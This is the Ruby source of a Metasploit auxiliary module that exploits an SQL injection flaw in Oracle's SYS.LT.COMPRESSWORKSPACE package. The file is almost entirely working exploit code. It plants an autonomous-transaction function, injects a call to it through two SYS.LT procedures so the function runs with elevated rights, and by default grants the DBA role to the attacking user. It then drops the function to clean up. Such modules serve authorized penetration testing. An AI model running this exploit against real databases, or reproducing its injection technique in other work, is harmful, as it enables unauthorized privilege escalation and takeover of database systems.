74 lines
2.1 KiB
Ruby
74 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::ORACLE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SQL Injection via SYS.LT.COMPRESSWORKSPACE.',
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'Description' => %q{
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This module exploits an sql injection flaw in the COMPRESSWORKSPACE
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procedure of the PL/SQL package SYS.LT. Any user with execute
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privilege on the vulnerable package can exploit this vulnerability.
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},
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'Author' => [ 'CG' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision:$',
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'References' =>
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[
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[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],
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[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
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],
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'DisclosureDate' => 'Nov 11, 2008'))
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register_options(
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[
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OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
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], self.class)
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end
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def run
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name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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cruft = Rex::Text.rand_text_alpha_upper(1)
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function = "
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CREATE OR REPLACE FUNCTION #{cruft}
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RETURN VARCHAR2 AUTHID CURRENT_USER
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AS
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PRAGMA AUTONOMOUS_TRANSACTION;
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BEGIN
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EXECUTE IMMEDIATE '#{datastore['SQL']}';
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COMMIT;
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RETURN '#{cruft}';
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END;"
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package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
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package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
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clean = "DROP FUNCTION #{cruft}"
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print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")
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begin
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print_status("Sending function...")
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prepare_exec(function)
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rescue => e
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return
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end
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prepare_exec(package1)
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prepare_exec(package2)
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print_status("Removing function '#{cruft}'...")
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prepare_exec(clean)
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end
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end
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